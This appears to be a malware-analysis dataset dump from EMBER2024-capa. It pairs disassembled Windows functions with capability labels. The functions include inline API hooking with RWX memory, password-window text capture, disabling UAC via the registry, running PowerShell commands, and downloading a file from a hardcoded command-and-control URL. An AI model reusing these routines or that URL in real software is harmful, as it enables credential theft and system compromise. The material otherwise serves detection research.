joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2000291a
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
mov edi, dword [sym.imp.MSVCRT.dll_strchr]
mov ebx, 0x100
push ebx
lea eax, [ebp - 0x104]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x104]
push ebx
push eax
push dword [0x20069428]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x104]
push 0x3a
push eax
call edi
mov esi, eax
push 0x3a
inc esi
push esi
call edi
mov dword [ebp - 4], eax
sub eax, esi
add esp, 0x10
test eax, eax
jg 0x2000299d
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x2000294e
push 0x28
mov edi, 0x20069454
push 0
push edi
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 4]
sub eax, esi
push eax
push esi
push edi
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x18
pop edi
pop esi
pop ebx
leave
ret

Function at 0x20002a15
Capabilities:
Contain obfuscated stackstrings
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
xor edi, edi
lea eax, [ebp - 0x20]
push edi
push eax
push edi
push dword [0x20069428]
mov dword [ebp - 0x20], 0x6d724654
mov dword [ebp - 0x1c], 0x73736150
mov dword [ebp - 0x18], 0x637445
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], 0x45324154
mov dword [ebp - 0xc], 0x746964
mov dword [ebp - 8], edi
call esi
mov ebx, eax
lea eax, [ebp - 0x10]
push edi
push eax
push edi
push ebx
call esi
mov esi, dword [sym.imp.USER32.dll_IsWindowVisible]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], eax
push ebx
call esi
test eax, eax
jne 0x20002aa1
push 0x64
call edi
jmp 0x20002a94
push ebx
call esi
test eax, eax
je 0x20002abe
push 0x28
push 0x20069384
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x64
call edi
jmp 0x20002aa1
call fcn.200025f6
pop edi
pop esi
pop ebx
leave
ret
Function at 0x20002d54
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x20004120
push 0x20003b40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
mov esi, dword [ebp + 8]
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
lea eax, [edi + 5]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x1c], eax
push edi
push esi
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + edi]
mov byte [eax], 0xe9
mov edx, esi
sub edx, ecx
sub edx, 5
mov dword [eax + 1], edx
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [edi - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x20]
push edi
push esi
call ebx
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x20002e09
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x20002e31
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x20002ea4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
mov edx, dword [ebp + 8]
xor eax, eax
test edx, edx
pop edi
jne 0x20002ed1
pop ebp
ret
cmp word [edx], 0x5a4d
jne 0x20002ee8
mov ecx, dword [edx + 0x3c]
add ecx, edx
cmp dword [ecx], 0x4550
jne 0x20002ee8
mov eax, dword [ecx + 0x50]
pop ebp
ret
Function at 0x20003319
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
mov eax, dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, 0x104
mov dword [0x200694dc], eax
push ebx
push 0x200694ec
push 0
call esi
cmp dword [ebp + 0xc], 0
je 0x2000343e
cmp dword [ebp + 0xc], 1
jne 0x2000343e
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
lea eax, [ebp - 0x104]
push ebx
push eax
push dword [0x200694dc]
call esi
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
lea eax, [ebp + 0xc]
push eax
mov eax, dword [0x200694dc]
push 4
add eax, 0x30
push 4
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x200694dc]
mov dword [eax + 0x30], 0x20003448
cmp dword [0x20005038], 0
je 0x2000343e
mov eax, 0x20005038
mov edi, eax
mov esi, eax
push 0x200694ec
call fcn.20002e18
push eax
call dword [edi]
pop ecx
test eax, eax
pop ecx
jne 0x2000343e
add esi, 4
mov edi, esi
cmp dword [esi], eax
jne 0x20003422
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x401690
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov ecx, dword [str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem]
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4016e6
push 4
lea edx, [ebp - 8]
push edx
push 4
push 0
mov eax, dword [section..data]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x4016e8
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x4016f0
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x449080]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x401790
push 4
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x401785
lea edx, [ebp - 0x38]
push edx
push 0x24
lea eax, [ebp - 0x28]
push eax
push 0
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x40177a
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [ebp - 0x24], 4
jne 0x40176e
mov dword [ebp - 0x34], 1
jmp 0x401775
mov dword [ebp - 0x34], 0
mov al, byte [ebp - 0x34]
jmp 0x401792
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004173a4
mov esp, ebp
pop ebp
ret
Function at 0x4017a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x85c
mov eax, dword [0x449080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x85c], 0x44
push 0x40
push 0
lea eax, [ebp - 0x858]
push eax
call fcn.00418900
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
push str.powershell.exe__Command___s_
lea edx, [ebp - 0x804]
push edx
call fcn.00409760
add esp, 0xc
lea eax, [ebp - 0x818]
push eax
lea ecx, [ebp - 0x85c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x804]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40185a
push 0xffffffffffffffff
mov eax, dword [ebp - 0x818]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [ebp - 0x808]
push ecx
mov edx, dword [ebp - 0x818]
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov eax, dword [ebp - 0x818]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x814]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x808]
jmp 0x401860
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004173a4
mov esp, ebp
pop ebp
ret

Function at 0x401aa0
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x449080]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov byte [ebp - 0xc], 0
mov byte [ebp - 0xb], 0
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0
mov byte [ebp - 8], 0
mov byte [ebp - 7], 5
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x401b23
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x401b18
mov dword [ebp - 0x18], 0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
nop
cmp dword [ebp - 0x18], 0
je 0x401b2f
mov byte [ebp - 0xd], 1
jmp 0x401b33
mov byte [ebp - 0xd], 0
movzx eax, byte [ebp - 0xd]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004173a4
mov esp, ebp
pop ebp
ret
Function at 0x402d00
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10214
call fcn.004173e0
mov eax, dword [0x449080]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 1
push str.WinINet
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x10208], eax
cmp dword [ebp - 0x10208], 0
jne 0x402d40
xor eax, eax
jmp 0x402e57
push 0x100
lea eax, [ebp - 0x204]
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push SysReAllocString
push 0
push 0
lea edx, [ebp - 0x204]
push edx
mov eax, dword [ebp - 0x10208]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x1020c], eax
cmp dword [ebp - 0x1020c], 0
jne 0x402da1
mov ecx, dword [ebp - 0x10208]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x402e57
push 0x43aa50
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x10214]
push eax
call fcn.00421591
add esp, 0xc
test eax, eax
je 0x402ddb
mov ecx, dword [ebp - 0x1020c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x10208]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x402e57
lea eax, [ebp - 0x10210]
push eax
push 0x10000
lea ecx, [ebp - 0x10204]
push ecx
mov edx, dword [ebp - 0x1020c]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x402e29
cmp dword [ebp - 0x10210], 0
jbe 0x402e29
mov eax, dword [ebp - 0x10214]
push eax
mov ecx, dword [ebp - 0x10210]
push ecx
push 1
lea edx, [ebp - 0x10204]
push edx
call fcn.004219df
add esp, 0x10
jmp 0x402ddb
mov eax, dword [ebp - 0x10214]
push eax
call fcn.004216fd
add esp, 4
mov ecx, dword [ebp - 0x1020c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x10208]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004173a4
mov esp, ebp
pop ebp
ret

Function at 0x402e70
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0x58], 0x44
push 0x40
push 0
lea eax, [ebp - 0x54]
push eax
call fcn.00418900
add esp, 0xc
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x58]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x402eb9
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x402eea
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x403890
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x438603
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x449080]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jge 0x4038cd
jmp 0x403a01
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jge 0x4038fa
call dword [sym.imp.ole32.dll_CoUninitialize]
nop
jmp 0x403a01
mov eax, dword [ebp + 8]
push eax
push 0x43d680
push 1
push 0
push 0x43d690
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jge 0x403927
call dword [sym.imp.ole32.dll_CoUninitialize]
nop
jmp 0x403a01
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x24], eax
push str.ROOTCIMV2
lea ecx, [ebp - 0x28]
call fcn.0040ae70
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x18]
call fcn.0040ca20
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp + 0xc]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.0040be20
nop
cmp dword [ebp - 0x10], 0
jge 0x4039b3
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov eax, dword [eax]
push edx
mov ecx, dword [eax + 8]
call ecx
call dword [sym.imp.ole32.dll_CoUninitialize]
nop
jmp 0x403a01
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jge 0x403a01
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
mov edx, dword [edx]
push ecx
mov eax, dword [edx + 8]
call eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [edx]
push ecx
mov eax, dword [edx + 8]
call eax
call dword [sym.imp.ole32.dll_CoUninitialize]
nop
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x403a50
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
call fcn.00401aa0
movzx eax, al
test eax, eax
jne 0x403ac5
push 0x43b0d8
push 0x44a2b8
call fcn.00405eb0
add esp, 8
push str.This_program_requires_administrator_privileges.
push eax
call fcn.00405eb0
add esp, 8
push 0x43b064
push eax
call fcn.00405eb0
add esp, 8
mov dword [ebp - 4], eax
push 0x22c
mov ecx, dword [ebp - 4]
call fcn.0040c250
push 0x43b060
push eax
call fcn.00405eb0
add esp, 8
mov dword [ebp - 8], eax
push 0x4093e0
mov ecx, dword [ebp - 8]
call fcn.0040c800
xor al, al
jmp 0x403ba4
call fcn.00401690
movzx ecx, al
test ecx, ecx
jne 0x403b31
push 0x43b134
push 0x44a2b8
call fcn.00405eb0
add esp, 8
push str.Failed_to_disable_UAC.
push eax
call fcn.00405eb0
add esp, 8
push 0x43b0f0
push eax
call fcn.00405eb0
add esp, 8
mov dword [ebp - 0xc], eax
push 0x22d
mov ecx, dword [ebp - 0xc]
call fcn.0040c250
push 0x43b0ec
push eax
call fcn.00405eb0
add esp, 8
mov dword [ebp - 0x10], eax
push 0x4093e0
mov ecx, dword [ebp - 0x10]
call fcn.0040c800
xor al, al
jmp 0x403ba4
mov edx, dword [str.C:ProgramDataMicrosoftWindows]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x403ba2
push 0x43b1a4
push 0x44a2b8
call fcn.00405eb0
add esp, 8
push str.Failed_to_set_working_directory.
push eax
call fcn.00405eb0
add esp, 8
push 0x43b14c
push eax
call fcn.00405eb0
add esp, 8
mov dword [ebp - 0x14], eax
push 0x22e
mov ecx, dword [ebp - 0x14]
call fcn.0040c250
push 0x43b148
push eax
call fcn.00405eb0
add esp, 8
mov dword [ebp - 0x18], eax
push 0x4093e0
mov ecx, dword [ebp - 0x18]
call fcn.0040c800
xor al, al
jmp 0x403ba4
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x403c50
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
mov eax, dword [0x449080]
xor eax, ebp
mov dword [ebp - 4], eax
push str.ACBIa96827756ACIPLXGCPID
mov eax, dword [ebp + 8]
push eax
push str.http:__alionrito.strangled.net:7753_LOCPITC_CPAL_
push str._s_s_pass_s
push 0xffffffffffffffff
push 0x100
lea ecx, [ebp - 0x248]
push ecx
call fcn.004145c0
add esp, 0x1c
mov edx, dword [ebp + 8]
push edx
push 0x43b31c
push 0xffffffffffffffff
push 0x40
lea eax, [ebp - 0x44]
push eax
call fcn.004145c0
add esp, 0x14
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push str._s_s
push 0xffffffffffffffff
push 0x104
lea eax, [ebp - 0x148]
push eax
call fcn.004145c0
add esp, 0x18
lea ecx, [ebp - 0x44]
push ecx
lea edx, [ebp - 0x248]
push edx
call fcn.00402d00
add esp, 8
test eax, eax
je 0x403ddc
push 1
lea eax, [ebp - 0x148]
push eax
lea ecx, [ebp - 0x44]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
je 0x403d64
push 0x43b358
push 0x44a1f8
call fcn.00405eb0
add esp, 8
push str.Successfully_moved
push eax
call fcn.00405eb0
add esp, 8
mov edx, dword [ebp + 8]
push edx
push eax
call fcn.00405ab0
add esp, 8
push str._to
push eax
call fcn.00405ab0
add esp, 8
lea ecx, [ebp - 0x148]
push ecx
push eax
call fcn.00405ab0
add esp, 8
mov dword [ebp - 0x24c], eax
push 0x4093e0
mov ecx, dword [ebp - 0x24c]
call fcn.0040c800
mov al, 1
jmp 0x403e54
push 0x43b3ac
push 0x44a2b8
call fcn.00405eb0
add esp, 8
push str.Failed_to_move_file:
push eax
call fcn.00405eb0
add esp, 8
mov edx, dword [ebp + 8]
push edx
push eax
call fcn.00405ab0
add esp, 8
push 0x43b36c
push eax
call fcn.00405eb0
add esp, 8
mov dword [ebp - 0x250], eax
push 0x244
mov ecx, dword [ebp - 0x250]
call fcn.0040c250
push 0x43b368
push eax
call fcn.00405eb0
add esp, 8
mov dword [ebp - 0x254], eax
push 0x4093e0
mov ecx, dword [ebp - 0x254]
call fcn.0040c800
nop
jmp 0x403e52
push 0x43b400
push 0x44a2b8
call fcn.00405eb0
add esp, 8
push str.Failed_to_download
push eax
call fcn.00405eb0
add esp, 8
mov ecx, dword [ebp + 8]
push ecx
push eax
call fcn.00405ab0
add esp, 8
push 0x43b3c4
push eax
call fcn.00405eb0
add esp, 8
mov dword [ebp - 0x258], eax
push 0x245
mov ecx, dword [ebp - 0x258]
call fcn.0040c250
push 0x43b3c0
push eax
call fcn.00405eb0
add esp, 8
mov dword [ebp - 0x25c], eax
push 0x4093e0
mov ecx, dword [ebp - 0x25c]
call fcn.0040c800
nop
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004173a4
mov esp, ebp
pop ebp
ret
Function at 0x404dd0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
push eax
call fcn.00421fc6
add esp, 4
test eax, eax
je 0x404df0
call fcn.0041c3ea
cmp dword [eax], 0x11
jne 0x404e66
mov ecx, dword [ebp + 8]
push ecx
call fcn.00421eec
add esp, 4
test eax, eax
jne 0x404e07
mov al, 1
jmp 0x404ec5
push 0x43bc94
push 0x44a2b8
call fcn.00405eb0
add esp, 8
push str.Failed_to_change_directory
push eax
call fcn.00405eb0
add esp, 8
push 0x43bc48
push eax
call fcn.00405eb0
add esp, 8
mov dword [ebp - 4], eax
push 0x2ea
mov ecx, dword [ebp - 4]
call fcn.0040c250
push 0x43bc44
push eax
call fcn.00405eb0
add esp, 8
mov dword [ebp - 8], eax
push 0x4093e0
mov ecx, dword [ebp - 8]
call fcn.0040c800
nop
jmp 0x404ec3
push 0x43bcf8
push 0x44a2b8
call fcn.00405eb0
add esp, 8
push str.Failed_to_create_directory
push eax
call fcn.00405eb0
add esp, 8
push 0x43bcac
push eax
call fcn.00405eb0
add esp, 8
mov dword [ebp - 0xc], eax
push 0x2eb
mov ecx, dword [ebp - 0xc]
call fcn.0040c250
push 0x43bca8
push eax
call fcn.00405eb0
add esp, 8
mov dword [ebp - 0x10], eax
push 0x4093e0
mov ecx, dword [ebp - 0x10]
call fcn.0040c800
nop
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x40d7b0
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
call fcn.004117b0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40d7fc
mov eax, dword [ebp - 4]
and eax, 0xfffffffe
push eax
mov ecx, dword [ebp + 8]
call fcn.004117b0
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, dword [ebp - 4]
or ecx, 2
or ecx, 4
push ecx
mov ecx, dword [ebp + 8]
call fcn.004117b0
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
nop
mov esp, ebp
pop ebp
ret

Function at 0x40de00
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
call fcn.004117b0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40de33
mov eax, dword [ebp - 4]
and eax, 0xfffffff8
push eax
mov ecx, dword [ebp + 8]
call fcn.004117b0
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
nop
mov esp, ebp
pop ebp
ret

Function at 0x414ab0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x414ad7
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x414ada
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.00414a8c
pop esi
leave
ret 8

Function at 0x4181f1
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x418230
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x418230
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x418230
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x418230
cmp dword [ecx + 0x74], 0xe
jbe 0x418230
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret